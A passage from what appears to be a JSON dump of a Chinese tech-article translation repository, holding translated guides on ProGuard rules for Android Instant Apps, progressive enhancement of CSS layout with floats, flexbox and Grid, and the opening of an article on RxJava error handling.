SDK，图像加载库，公共网络代码等等。这些大量的代码通常只是为了启动，因此不能为实际功能模块代码和资源留出足够的空间来解决 4 MB 字节的限制。\n\n这里有许多[通用](https://developer.android.com/topic/performance/reduce-apk-size.html)和 [安卓即时程序专用（AIA 意为 Android Instant Apps）](https://android-developers.googleblog.com/2017/08/android-instant-apps-best-practices-for.html)的技术可以减少 APK 大小，你应该都去了解一下，但使用 ProGuard（混淆）来移除未使用的代码对 nstant Apps（即使应用程序）而言却是必不可少的，通过丢弃那些你从来不会使用的导入库和代码将有助于缩减所有的这些依赖。\n\n即使[对于常规项目](https://medium.com/google-developers/troubleshooting-proguard-issues-on-android-bce9de4f8a74)配置 ProGuard（混淆）也是很有挑战性的，更何况是 Instant App（即时应用），当你启动的时候，你几乎肯定会遇到构建失败或者程序崩溃的情况。当 ProGuard（混淆）集成到 Android 构建中时，新的 `com.android.feature` Gradle 插件（用于构建 AIA （安卓即时应用程序）模块）根本不存在，并且 ProGuard（混淆）没有考虑模块在运行时如何加载在一起。\n\n幸运的是，你可以一步一步按照下面的流程进行操作，这样可以更轻松地为你的 Instant App（即时应用程序）配置 ProGuard（混淆），本文将对此进行概述。\n\n### 问题剖析 － 两种不同的构建方式\n\n在一个典型的场景中，在模块化应用程序并使用新的 Gradle 插件后，您的项目结构将如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*6smk7bsLQmg1kIipUR_V6w.png)\n\n一个典型的多功能安装 + 即时应用程序项目。\n\n在共享的即时应用程序/可安装应用程序项目中，功能模块替换旧的 `com.android.library` 模块。\n\n\n**当构建一个可安装的应用程序时，ProGuard（混淆）会在构建过程结束时运行**。功能模块的行为与库相似，它们都将代码和资源提供给编译的最后阶段，在应用程序模块中这些都发生在将所有东西打包成一个 APK 之前。在这种情况下，ProGuard（混淆）能够分析你的整个代码库，找出哪些类被使用，哪些可以被安全地删除。\n\n**在即时应用程序构建中，每个功能模块都会生成自己的 APK。**因此，与可安装的应用程序构建相反，**ProGuard（混淆）可以独立运行在每个功能模块的代码中**。例如：base feature 编译，代码缩减和打包发生时无需查看 feature 1 和 2 中包含的任何代码。\n\n简单地说：如果你的 base feature 包含的公共元素（例如 AppCompat 小部件）仅在功能 1 和/或功能 2 中使用但并未在基本功能本身中，则这些元素将被 ProGuard（混淆）删除，导致运行时崩溃。\n\n现在我们明白了为什么 ProGuard（混淆）会失败了，是时候解决这个问题了：确保我们为项目配置添加必要的保留规则，**以防止在不同模块（在一个模块中定义，在另一个中使用）之间的类被移除或混淆。**\n\n### 层层深入的解决方案\n\n#### 1. 在你构建你的可安装程序中启用 ProGuard（混淆）并修复所有的运行时异常\n\n这是最困难的部分，也是唯一不容易复现的部分，因为每个项目所需的 ProGuard（混淆）配置规则会有所不同。我建议在处理 ProGuard（混淆）错误前熟读 [Android Studio 文档](https://developer.android.com/studio/build/shrink-code.html)，[ProGuard （混淆）手册](https://www.guardsquare.com/en/proguard/manual/introduction) 以及我的[上一篇文章](https://medium.com/google-developers/troubleshooting-proguard-issues-on-android-bce9de4f8a74) 。\n\n接下来我们将在即时应用程序 ProGuard（混淆）配置来自可安装应用中的规则。\n\n#### 2. 为你所有的即时应用功能启用 ProGuard（混淆）\n\n在可安装的应用程序版本构建过程中，ProGuard（混淆）只运行一次：在使用 `com.android.application` 插件的模块中。在即时应用程序构建过程中，我们需要将 ProGuard（混淆）配置添加到所有功能模块，因为它们都会生成 APK。\n\n打开每个 `com.android.feature` 模块中的 `build.gradle` 文件，并为它们添加以下配置：\n\n```\nandroid {\n  buildTypes {\n    release {\n      minifyEnabled true\n      proguardFiles getDefaultProguardFile('proguard-android.txt'), 'aia-proguard-rules.pro'\n    }\n  }\n  ...\n}\n```\n\n在上面的代码片段中，我选择了一个名为 `aia-proguard-rules.pro` 的文件用于我的 Android Instant App（安卓即时应用程序）专用 ProGuard（混淆）配置。对于该文件的初始内容，您应该复制并粘贴可安装应用程序中的规则（从本指南的第 1 步中）。\n\n如果你愿意，不必为每个功能创建单独的规则文件，您可以使用相对路径（例如「../ aia-proguard-rules.pro」）将所有功能模块指向单个文件。\n\n#### 3. 为从代码中使用了跨模块的类添加保留规则\n\n我们需要从功能 APKs 中找出使用基本模块中的哪些类。你可以通过检查来源手动追踪，但对于大型项目这种方法是不可行的。窍门是使用 Android SDK 中提供的工具来近乎自动化的执行这个操作。\n\n首先，准备好一个调试版本（或者没有启用 ProGuard（混淆）的调试版本）。解压 ZIP 文件（通常在 `<instant-module-name> / build / outputs / apks / debug` 中找到），以便你可以轻松访问这些 feature 和 base APK。。\n\n```\n$ unzip instant-debug.zip\nArchive: instant-debug.zip\n  inflating: base-debug.apk\n  inflating: main-debug.apk\n  inflating: detail-debug.apk\n```\n\n每个 APK 都包含一个（或多个）`classes.dex` 文件，该文件包含从其构建的模块的所有代码。有了关于 _DEX_ 格式和[命令行 APK 分析器](https://developer.android.com/studio/command-line/apkanalyzer.html)（一个分析 APK 中 DEX 文件的工具）的一些知识，我们可以很容易地找到所选模块中哪些被使用了但没有定义的类。我们来看看 _detail_ 模块的 DEX 内容：\n\n```\n$ ~/Android/Sdk/tools/bin/apkanalyzer dex packages detail-debug.apk\nP d 23 37 3216 com.example.android.unsplash\nC d 10 20 1513 com.example.android.unsplash.DetailActivity\nM d 1  1  70   com.example.android.unsplash.DetailActivity <init>()\n...\nP r 0 8 196 android.support.v4.view\nC r 0 8 196 android.support.v4.view.ViewPager\n```\n\n输出结果显示了 (P)ackages，(C)lasses 以及 (M)ethods（上文第 1 列中的 _P / C / M_ ）是被这个文件所 (d)efined（定义）又或者仅仅被 (r)eferenced（引用）（上文第 2 列中的 _s / r_ ）。\n\n_referenced_ 类只能来自两个地方：Android 框架或其他模块，这取决于...答对了！使用一点 shell 魔法（我在后面的所有命令都是基于 Linux 系统的 bash命令），我们可以得到 ProGuard（混淆）规则中需要保留的类的列表：\n\n```\n$ apkanalyzer dex packages detail-debug.apk | grep \"^C r\" | cut -f4\ncom.example.android.unsplash.ui.pager.DetailViewPagerAdapter\ncom.example.android.unsplash.ui.DetailSharedElementEnterCallback\ncom.example.android.unsplash.data.PhotoService\nandroid.support.v4.view.ViewPager\nandroid.transition.Slide\nandroid.transition.TransitionSet\nandroid.transition.Fade\nandroid.app.Activity\n...\n```\n\n我们可以通过任何手段摆脱哪些来自框架的类（我们不需要包含这些规则，因为它们不是应用程序 APK 的一部分），比如 `android.app.Activity`？因此我们可以先通过 SDK 中的 android.jar 获取框架类的列表来进行过滤：\n\n```\n$ jar tf ~/Android/Sdk/platforms/android-27/android.jar | sed s/.class$// | sed -e s-/-.-g\njava.io.InterruptedIOException\njava.io.FileNotFoundException\n...\nandroid.app.Activity\nandroid.app.MediaRouteButton\nandroid.app.AlertDialog$Builder\nandroid.app.Notification$InboxStyle\n```\n\n最后使用`[comm](https://linux.die.net/man/1/comm)` 命令（逐行比较两个已排序的文件）列出仅存在于第一个列表中的类，通过管道按照前两个命令输出的排序进行输入：\n\n```\n$ comm -23 <(apkanalyzer dex packages detail-debug.apk | grep \"^C r\" | cut -f4 | sort) <(jar tf ~/Android/Sdk/platforms/android-27/android.jar | sed s/.class$// | sed -e s-/-.-g | sort)\nandroid.support.v4.view.ViewPager\ncom.example.android.unsplash.data.PhotoService\ncom.example.android.unsplash.ui.DetailSharedElementEnterCallback\ncom.example.android.unsplash.ui.pager.DetailViewPagerAdapter\n```\n\n唷！谁会不喜欢 shell 中的一些文本处理呢？剩下的就是取出输出的每一行，并将其转换为 `aia-proguard-rules.pro` 文件中的 ProGuard（混淆）保留规则。 它看起来应该像这样：\n\n```\n-keep, includedescriptorclasses class android.support.v4.view.ViewPager {\n  public protected *;\n}\n-keep, includedescriptorclasses class com.example.android.unsplash.data.PhotoService {\n  public protected *;\n}\n#and so on for every class in the output…\n```\n\n#### 4. 为从资源文件中出现的跨模块类添加保留规则\n\n我们差不多完成了，但还有一个细节需要我们处理。有时我们偶尔会使用 Android 资源中的类，例如从 XML 布局文件中实例化一个小部件，但实际上从未实际从代码中引用该类。\n\n在已安装的应用程序构建中，AAPT（处理资源构建的一部分）会自动为你处理。它为资源文件和 Android Manifest 中使用的类生成所需的 ProGuard（混淆）规则，但在构建即时应用程序的情况下，它们最终可能会出现在错误的模块中。\n\n要解决这个问题，首先要启用 ProGuard（混淆）来开发即时应用程序（例如使用刚刚在前面步骤中设置的构建方式）。然后进入每个模块的构建文件夹，找到 `aapt_rules.txt` 文件（查看与此类似的路径：`build / intermediates / proguard-rules / feature / release / aapt_rules.txt`）并将其内容复制并粘贴到你的`aia-proguard-rules.pro`配置中。\n\n#### 5. 新功能：禁用非基本模块中的混淆\n\n现在看来，我在我的指南中遗漏了一个重要的（现在很明显就发现了）的点。由于非基本模块会被独立地 ProGuard（混淆），因此这些模块中的类可以在混淆期间轻松地分配相同的名称。\n\n例如，在模块 _detail_ 中，名为 `com.sample.DetailActivity` 的类变为`com.sample.a`，而在模块 _main_ 中，类  `com.sample.MainActivity` 也变为 `com.sample.a`。这可能会在运行时导致 _ClassCastException_ 或其他奇怪的行为，因为只能有一个结果类将会被加载和使用。\n\n有两种方法可以做到这一点。更好的方法是在完整的，可安装的应用程序中重新使用 ProGuard（混淆）映射文件，但设置和维护起来很困难。更简单的方法是简单地禁用非基本特征中的混淆。因此，由于类和方法名较长，你的 APK 会稍微大一点，但你仍然享受这删除代码带来的好处，这是最重要的部分。\n\n要为非基本模块禁用混淆处理，请将此规则添加到其ProGuard（混淆）配置中：\n\n```\n-dontobfuscate\n```\n\n如果你在基本模块和非基本模块之间有共享配置文件，我建议你创建一个单独的配置文件。基础模块仍然可以使用混淆。你可以在 build.gradle 中指定其他文件：\n\n```\nrelease {\n  minifyEnabled true\n  signingConfig signingConfigs.debug\n  proguardFiles getDefaultProguardFile(\"proguard-android.txt\"), \"../instant/proguard.pro\", \"non-base.pro\"\n}\n```\n\n#### 6. 构建并测试你的即时应用程序\n\n如果你按照步骤 1 中进行了最初的 ProGuard（混淆）设置，并且正确执行了步骤 2-4，那么到目前为止，你应该拥有一个较小的，经过优化的即时应用，该应用不会因 ProGuard（混淆）问题而崩溃。请记住通过运行应用程序并检查所有可能的情况来彻底进行测试，因为某些错误只能在运行时发生。\n\n* * *\n\n希望本指南能够让你更好地理解为什么 ProGuard（混淆）可以使你的即时应用程序崩溃。遵循这些步骤应该能带你完成构建，并防止你的即时应用程序崩溃。\n\n你可以在 GitHub 上看看最新的一些使用 ProGuard（混淆）配置的[即时应用示例](https://github.com/googlesamples/android-instant-apps/blob/master/multi-feature-module/proguard.pro) 来和你的相比较，或者练习本文中介绍的相关示例项目的方法。\n\n我承认可以通过设置每个方法的保留规则而不是每个类来改进上面的解决方案（引用方法列表的命令是：`apkanalyzer dex packages detail-debug.apk | grep\"^ M r\"| cut - f4`），这可能节省出更大的空间。但这会让本教程的其余部分（例如筛选框架类）变得更加复杂，所以我将它作为练习给读者你。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/enhancing-css-layout-floats-flexbox-grid.md",
    "content": "\n> * 原文地址：[Progressively Enhancing CSS Layout: From Floats To Flexbox To Grid](https://www.smashingmagazine.com/2017/07/enhancing-css-layout-floats-flexbox-grid/)\n> * 原文作者：[Manuel Matuzović](https://www.smashingmagazine.com/author/manuelmatuzovic/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/enhancing-css-layout-floats-flexbox-grid.md](https://github.com/xitu/gold-miner/blob/master/TODO/enhancing-css-layout-floats-flexbox-grid.md)\n> * 译者：[LeviDing](https://github.com/leviding)\n> * 校对者：[薛定谔的猫](https://github.com/Aladdin-ADD)，[LouisaNikita](https://github.com/louisanikita)\n\n# 逐渐增强的 CSS 布局：从浮动到 Flexbox 到 Grid\n\n今年早些时候，大多数主流浏览器都支持了 [CSS Grid 布局](https://www.smashingmagazine.com/2016/11/css-grids-flexbox-and-box-alignment-our-new-system-for-web-layout/)。自然地，规范也成为了大小会议的热门话题之一。在参与了一些关于 Grid 布局和渐进增强的讨论后，我认为使用它还是有**很大的不确定性**。我听到一些很有趣的问题和发言，我想在这篇文章中讨论讨论。\n\n### 最近几周听到的声明和问题\n\n- “我什么时候可以开始使用 CSS grid 布局？”\n- “还需要好几年我才能在实际项目中使用 CSS Grid 布局，这太扯淡了。”\n- “为了使用 CSS Grid 布局，网站需要 Modernizr 吗？”\n- “如果我现在想使用 CSS Grid，那我需要为我的网站做两三个版本。”\n- “渐进增强在理论上听起来不错，但我认为在实际项目中不可能实现。”\n- “渐进增强的成本是多少？”\n\n这些都是很好的问题，并不是所有的都很容易回答，但我很乐于分享我的一些方法。CSS Grid 布局模块是响应式设计中最令人激动的发展之一。如果它对我们和我们的项目有意义，我们应尽快去用好它。\n\n### Demo: 渐进增强布局\n\n在详细阐述我对上述问题的想法之前，我想介绍一下我做的一个小的 [demo](https://s.codepen.io/matuzo/debug/Emddvx)。\n\n**注意：** 最好在配备有大屏幕的设备上打开上面这个 demo。你用手机打开的话，啥也看不见。\n[![使用了 Flexbox 和 CSS Grid 的渐进增强的 CSS 布局](https://www.smashingmagazine.com/wp-content/uploads/2017/07/holy-grid_pptwcu_c_scale_w_1050.png)](https://s.codepen.io/matuzo/debug/Emddvx)\n示例网站的主页，具有可调节的滑块，可在不同的布局技术之间进行切换。\n当你打开这个 [demo](https://s.codepen.io/matuzo/debug/Emddvx), 你会发现自己在一个基本布局的网站的主页上。您可以调整左上角的滑块以增强您的体验。布局从非常基本到基于浮动的布局，再转换为 基于 flexbox 的布局，最后是基于 CSS Grid 的布局。\n\n它不是最美丽或最复杂的设计，但它足以显示基于浏览器功能的网站可以采用哪些形态。\n\n此演示页面使用 CSS Grid 布局构建，**不使用任何前缀属性或 polyfills**。它对于 Internet Explorer（IE）8，极限模式下的 Opera Mini，UC 浏览器和当前最流行的现代浏览器的用户来说，都是可以访问的。如果你不期待在所有浏览器中都看到完全相同的效果，那么你现在完全可以使用 CSS Grid 布局。但是期望使用 CSS Grid 在所有浏览器中都看到完全相同的效果是现在无法实现的。我很清楚，这种情况并不完全取决于我们的开发人员，但是我相信如果客户明白其中的好处（面向未来的设计，更好的可访问性和更高的性能），我们的客户会很愿意接受这些差异。除此之外，我相信我们的客户和用户 —— 感谢响应式设计 —— 已经了解到，网站在每个设备和浏览器中看起来都不一样。\n\n在接下来的部分中，我将向你展示如何构建 demo 的部分内容，以及为什么有些效果只在 box 外有效。\n\n**边注**：,为了让这个 demo 支持 IE 8，我不得不多添加几行 JavaScript 和 CSS（一个 HTML 5 垫片）。我没办法，因为 IE 8+ 听起来比 IE 9+ 更令人印象深刻。\n\n### CSS Grid 布局和渐进增强\n\n我们一起来深入了解我如何在页面中心建立“**四级增强**”组件。\n\n#### HTML\n\n我将所有项目按逻辑顺序放入到 `section` 中。该部分的第一个 `section` 中是标题，其次是四个小节。假设它们代表单独的博客帖子，我把它们中的每一个都包含在一个 `article` 标签中。每篇文章由一个标题（`h3`）和一个图像链接组成。我在这里使用 `picture` 元素，因为我想在视口足够宽的情况下，为不同的用户提供不同的图像。在这，我们已经有了良好的渐进增强的第一个例子。如果浏览器不理解 `picture` 和 `source`，它仍然会显示 `img`，这也是 `picture` 元素的一个子元素。\n\n```html\n<section>\n  <h2>Four levels of enhancement</h2>\n  <article><h3>No Positioning</h3><a href=\"#\">  <picture>    <source srcset=\"320_480.jpg\" media=\"(min-width: 600px)\">    <img src=\"480_320.jpg\" alt=\"image description\">  </picture></a>\n  </article>\n</section>\n```\n\n#### 浮动增强功能\n\n![用 float 构建的演示页面的一个组件](https://www.smashingmagazine.com/wp-content/uploads/2017/07/component_float-800w-opt.jpg)\n\n所有的项目都在“四级增强”组件中，向左浮动。\n\n在较大的屏幕上，如果所有项目彼此排列，则此组件的效果最好。为了支持不了解 flexbox 或 grid 的浏览器，我将其设为浮动，给它们设置了一定的 `size` 和 `margin`，并在最后一个浮动项目之后清除浮动。\n\n```css\narticle {\n  float: left;\n  width: 24.25%;\n}\n\narticle:not(:last-child) {\n  margin-right: 1%;\n}\n\nsection:after {\n  clear: both;\n  content: \"\";\n  display: table;\n}\n```\n\n### Flexbox 增强功能\n\n![用 flexbox 布局构建的演示页面的一个组件](https://www.smashingmagazine.com/wp-content/uploads/2017/07/component_flex-800w-opt.jpg)\n\n“四个层次的渐进增强”中的所有项目都因 flexbox 的加入而得到了提升。\n\n在这个例子中，我实际上不需要使用 flexbox 来增强组件的总体布局，因为浮动已经完成了我的需求。在设计中，标题在图像的下边，这可以通过 flexbox 实现。\n\n```css\narticle {\n  display: flex;\n  flex-direction: column;\n}\n\nh3 {\n  order: 1;\n}\n```\n\n使用 flexbox 重新为各个项目进行排序时，我们必须非常谨慎 我们应该仅将其用于视觉上的变化，并确保重新排序不会改变键盘或屏幕阅读器用户的体验。\n\n### Grid 增强功能\n\n![用 grid 布局构建的演示页面的一个组件](https://www.smashingmagazine.com/wp-content/uploads/2017/07/component_grid-800w-opt.jpg)\n\n“四个层次的渐进增强”中的所有项目都因 CSS Grid 的加入而得到了提升。\n\n一切看起来都不错，但标题仍然需要进行一些定位上的调整。有很多方法可以将标题放在第二个项目的正上方。我发现最简单、最灵活的方式是使用 CSS Grid 布局。\n\n首先，我画了一个四列的网格，在父级容器上有一个 20 像素的凹槽。\n\n```css\nsection {\n  display: grid;\n  grid-template-columns: repeat(4, 1fr);\n  grid-gap: 20px;\n}\n```\n\n因为所有文章的宽度都是 `24.25％`，所以我为支持 CSS Grid 的浏览器重新设置了这个属性。\n\n```css\n@supports(display: grid) {\n  article {width: auto;\n  }\n}\n```\n\n然后，我把标题放在第一行和第二列。\n\n```css\nh2 {\n  grid-row: 1;\n  grid-column: 2;\n}\n```\n\n为了去掉 Grid 的自动 `auto-placement`，我还将第二个 `article` 显式地放在第二行和第二列（标题下）。\n\n```css\narticle:nth-of-type(2) {\n  grid-column: 2;\n  grid-row: 2 / span 2;\n}\n```\n\n最后，因为我想删除标题和第二个项目之间的间距，所有其他项目必须跨两行。\n\n```css\narticle {\n  grid-row: span 2;\n}\n```\n\n就是这样。你可以[在 Codepen 上看最终的布局](https://codepen.io/matuzo/pen/PjYKXW?editors=1100)[5](#5)。\n\n如果我需要让这些代码支持 IE 9+，那么我们将总共需要八行代码（其中三行实际上是 clearfix，并且是可重用的）。当你使用前缀的时候也要对比一下。\n\n```css\narticle {\n  float: left;\n  width: 24.25%;\n}\n\n@supports(display: grid) {\n  article {width: auto;\n  }\n}\n\nsection:after {\n  clear: both;\n  content: \"\";\n  display: table;\n}\n```\n\n这只是一个简单的例子，而不是一个完整的项目，我知道一个网站有更复杂的组件。但是，想像一下，在所有的浏览器中构建一个布局效果几乎一样的项目需要多长时间。\n\n### 你不需要覆盖一切\n\n在前面的例子中，`width` 是唯一一个必须重置的属性。关于 grid（和 flexbox，顺便说一下）的一个重要的事儿是，如果某些属性被应用于 flex 或 grid 的项目内部，它们将失去原来的作用。例如 `float`，如果它应用于的元素在 grid 容器内，则不起作用。对于其他一些属性也是如此：\n\n- `display: inline-block`\n- `display: table-cell`\n- `vertical-align`\n- `column-*` 属性\n\n更多内容请点击查看 [Rachel Andrew](https://rachelandrew.co.uk) 写的 “[Grid 回退和覆盖。](https://rachelandrew.co.uk/css/cheatsheets/grid-fallbacks)”\n[![展示 CSS 功能查询支持情况的表格](https://www.smashingmagazine.com/wp-content/uploads/2017/07/caniuse_featurequeries-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/07/caniuse_featurequeries-large-opt.png)\n\n几乎每个主流浏览器都支持 CSS 功能查询。（图片：[我可以使用](http://caniuse.com/)）（[查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/07/caniuse_featurequeries-large-opt.png)）。\n\n如果你必须使用属性覆盖，那就是用 [CSS 功能查询](https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/)。在大多数情况下，你只需要覆盖 `width` 或 `margin` 等属性。 [功能查询的支持情况](http://caniuse.com/#feat=css-featurequeries)非常好，并且最好的是每个浏览器都支持网格。在这你不需要 [Modernizr](https://modernizr.com/)。\n\n此外，你不需要将所有的 grid 属性都放在功能查询中，因为旧的浏览器会简单的[忽略他们不了解的属性和值](https://www.w3.org/TR/2003/WD-css3-syntax-20030813/#error-handling)。\n\n在我写这个 demo 的时候，对我来说唯一感到有点棘手的是当有一个 flex 或 grid 容器使用了 clearfix 的。[包含内容的伪元素也可以变为 flex 或 grid 项](https://codepen.io/matuzo/pen/mmQxEx)。它可能会，也可能不会影响你；只要知道它就好了。作为替代方案，你可以使用 `overflow：hidden` 来清除父级，如果这适用于你的话。\n\n### 衡量渐进增强的成本\n\n浏览器已经为我们做了很多渐进增强的工作。我已经提到 `picture` 元素，它返回到 `img` 元素。另一个例子是 `email` 字段，如果浏览器不明白，它将返回一个简单的 `text` 字段。另一个例子是我在 demo 中使用的调节滑块。在大多数浏览器中，它会被渲染为可调节的滑块。例如，IE 9 中不支持输入类型 `range`，但它仍然可以使用，因为它返回一个简单的 `input` 字段。用户必须手动输入正确的值，这不太方便，但它可以正常工作。\n\n![Chrome 和 IE 9 中的输入范围调节效果的比较](https://www.smashingmagazine.com/wp-content/uploads/2017/07/slider-preview-opt.jpg)\n\n比较在 Chrome 和 IE 9 中如何呈现 `range` 输入类型。\n\n#### 有些东西是浏览其所关注的，其他的则需要由我们负责\n\n在准备 demo 的时候，我意识到，真正了解 CSS 是非常有帮助，而不仅仅是写一些属性，希望能够在浏览器中获得最佳的效果。越了解浮动，flexbox 和 grid 的工作原理，以及您对浏览器的了解越多，越容易实现渐进增强。\n\n> 成为一个了解 CSS 的人，而不仅仅是使用 CSS 的人，将为你在工作中带来巨大的优势。\n>\n> [Rachel Andrew](https://rachelandrew.co.uk/archives/2017/05/24/a-very-good-time-to-understand-css-layout/)[16](#16)\n\n此外，如果渐进增强功能已经深入整合到您制作网站的过程中，那么很难说会有多少额外的付出，因为这就是你做网站的方法。亚伦·古斯塔夫森（Aaron Gustafson）分享了他在文章“[渐进增强的实际成本](https://medium.com/@AaronGustafson/the-true-cost-of-progressive-enhancement-d395b6502979)”和 “[Relative Paths podcast](https://www.relativepaths.uk/ep48-progressive-enhancement-with-aaron-gustafson/)” 中所做的一些项目的几个故事。我强烈建议你阅读并学习他的经验。\n\n#### Resilient Web Development\n\n> 你的网站和你测试的最弱的设备一样强大。\n>\n> [Ethan Marcotte](https://ethanmarcotte.com/wrote/left-to-our-own-devices/)\n\n渐进增强可能在一开始需要一点工作，但是从长远来看可以节省时间和金钱。我们不知道用户接下来会使用哪些设备，操作系统或浏览器访问我们的网站。如果我们为不是太好的浏览器提供可访问和可用的体验，那么我们就正在构建具有弹性的产品，并为[意想不到的发展](https://www.theverge.com/2017/2/26/14742150/nokia-3310-mwc-2017)做好准备。\n\n### 摘要\n\n我有一种感觉，我们中的一些人忘记了我们的工作是什么，甚至可能忘记我们实际做的“仅仅”是一份工作。我们不是摇滚明星，忍者，工匠或大师，我们所做的最终是将内容放在网上，让人们尽可能轻松地消费。\n\n> 内容是我们创建网站的原因。\n>\n> [Aaron Gustafson](https://alistapart.com/article/understandingprogressiveenhancement)\n\n这听起来很无聊，我知道，但不一定是这样的。我们可以使用最热门的尖端技术和花哨的技术，只要我们不忘记我们在为谁做的网站：用户。我们的用户不一样，也不使用相同的设备，操作系统，浏览器，互联网提供商或输入设备。通过提供最基本的版本开始，我们可以从现代网络中获得最佳效果，而不会影响可访问性。\n[![展示 CSS 功能查询支持情况的表格](https://www.smashingmagazine.com/wp-content/uploads/2017/07/caniuse_grid-800w-opt.png)](http://caniuse.com/#search=grid)\n\n几乎每个主流浏览器都支持 CSS 功能查询。（图片：[我可以使用](http://caniuse.com/)）（[查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/07/caniuse_featurequeries-large-opt.png)）。\n\nGrid，例如，[几乎在每个主流浏览器中都得到了支持](http://caniuse.com/#search=grid)，我们不应该等待好多年，直到覆盖率达到 100％ 才在实际项目中使用它，因为那根本不存在。仅仅是因为 web 本就不是那么玩的。\n\n[Grid 非常好用](https://gridbyexample.com/examples/)。现在就开始使用吧！\n\n#### 截图\n\n以下是各种浏览器的 demo 页面的截图：\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/07/ie8_win7-large-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/07/ie8_win7-large-opt.png)\n\nInternet Explorer 8, Windows 7\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/07/ie9_win7-large-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/07/ie9_win7-large-opt.png)\n\nInternet Explorer 9, Windows 7\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/07/ie10_win7-large-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/07/ie10_win7-large-opt.png)\n\nInternet Explorer 10, Windows 7\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/07/ie11_win8-large-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/07/ie11_win8-large-opt.png)\n\nInternet Explorer 11, Windows 8\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/07/opera_mini-large-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/07/opera_mini-large-opt.png)\n\nOpera Mini 42 (Extreme), Android 7\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/07/uc_browser-large-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/07/uc_browser-large-opt.png)\n\nUC Browser 11,  Android 7\n\n#### 相关资料和深入阅读\n\n- “[Crippling the Web](https://timkadlec.com/2013/07/crippling-the-web/)”，Tim Kadlec。\n- “[Browser Support for Evergreen Websites](https://rachelandrew.co.uk/archives/2017/01/12/browser-support-for-evergreen-websites/)”，Rachel Andrew。\n- [The Experimental Layout Lab of Jen Simmons](http://labs.jensimmons.com/) (demos), Jen Simmons\n- “[World Wide Web, Not Wealthy Western Web, Part 1](https://www.smashingmagazine.com/2017/03/world-wide-web-not-wealthy-western-web-part-1/)”，Bruce Lawson。\n- “[Resilience](https://www.youtube.com/watch?v=W7wj7EDrSko)” (video)，Jeremy Keith，View Source conference 2016。\n\n**感谢我的导师 Aaron Gustafson 对我创作本文的帮助，感谢 Eva Lettner 的校对，感谢 Rachel Andre 无数的帖子、demo 和建议。**\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/error-handling-in-rxjava.md",
    "content": "\n  > * 原文地址：[Error handling in RxJava](https://rongi.github.io/kotlin-blog/rxjava/rx/2017/08/01/error-handling-in-rxjava.html)\n  > * 原文作者：[Dmitry Ryadnenko](https://twitter.com/KotlinBlog)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/error-handling-in-rxjava.md](https://github.com/xitu/gold-miner/blob/master/TODO/error-handling-in-rxjava.md)\n  > * 译者：[星辰](https://www.zhihu.com/people/tmpbook)\n  > * 校对者：[张拭心](https://github.com/shixinzhang) [Liz](https://github.com/lizwangying)\n\n  # RxJava 中的错误处理\n\n  ![Drawing](https://rongi.github.io/kotlin-blog/assets/error-handling-in-rxjava-title.jpg)\n\n一旦你开始使用 RxJava 函数库写代码，你会发现一些东西能有很多不同的实现方式，但是有时你很难立即确定哪种方法最好，错误处理就是其中之一。\n\n那么，在 RxJava 中处理错误的最佳方法是什么，又有哪些选择呢？\n\n## 在 onError 消费者中处理错误\n\n假设你有一个 Observable 可能会产生异常。如何处理呢？第一反应应该是直接在 `onError` 消费者中处理错误。\n\n    userProvider.getUsers().subscribe(\n      { users -> onGetUsersSuccess(users) },\n      { e -> onGetUsersFail(e) } // 停止执行，显示错误信息等。\n    )\n\n它类似于我们以前使用的 `AsyncTasks`，并且看起来很像一个 try-catch 块。\n\n这儿有一个大问题。 假设在 `userProvider.getUsers()` Observable 中存在编程错误，导致 `NullPointerException` 或类似的异常。如果能够立刻崩溃的话就好了，我们可以现场检测出问题并且解决。然而上面的代码中我们无法看到崩溃，因为错误被 onError 